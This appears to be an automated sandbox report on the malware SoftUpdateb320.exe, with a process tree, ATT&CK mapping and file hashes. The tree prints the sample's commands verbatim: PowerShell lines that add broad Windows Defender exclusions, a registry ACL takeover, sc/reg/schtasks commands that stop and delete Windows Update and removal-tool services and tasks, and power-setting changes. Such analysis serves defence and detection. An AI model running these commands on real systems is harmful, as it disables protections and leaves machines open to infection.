    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4548
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4084
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1236
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4216
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4296
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\bggvzvryfr" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:1876
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2520
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:464
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:728
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\csvgbjaecr" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:3108
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1356
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2100
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\buthamuycx" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:2280
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4464
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:1816
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:1820
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\bnjxzsitor" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4308
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
    3⤵
    PID:2004
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2456
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:3508
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\vegyntaudu" /s /f
    3⤵
    - Sets service image path in registry
    PID:2660
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3980
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:4364
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:3968
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:1960
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:1168
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:4872
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:3192
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:696
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:4416
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:388
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:1528
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:396
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:628
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:732
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:764
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:5052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:4524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:3372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1756
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:3032
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:4528
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3596
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4548

C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe
C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

SoftUpdateb320.exe

Path C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe
Size 5.0MB
SHA256 ea4015a2296ff237aa2c88face657791d556fb38939868186881f698c485ad44
MD5 08ca0ab7b1b29b1b45a42a8eb757c9fd
SHA1 6d6713dfe2a3216dd6a9cfdb25a9429179b11607
SHA512 5a6c89c567ee15f6176207286a9b13e5900067b585fb4bc390877b00cade2106c784ea96126c8bfbd8ff342fb1f05a0e8fd80c4fb338bde1dc43cbc9ef138562
SSDEEP 98304:g7MfJIvwimegk6eJLGoxx4FM5EIHb3Dt7msBNdca1CJ7WK6:g7MfKv1ykBlr+MpbF9+9
TLSH
T14F36339664DAD578C0A7CB7457A2217E733E7BE909A4FD027ACC26100E57F049A3E7C2
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_asxmii40.xad.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_asxmii40.xad.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

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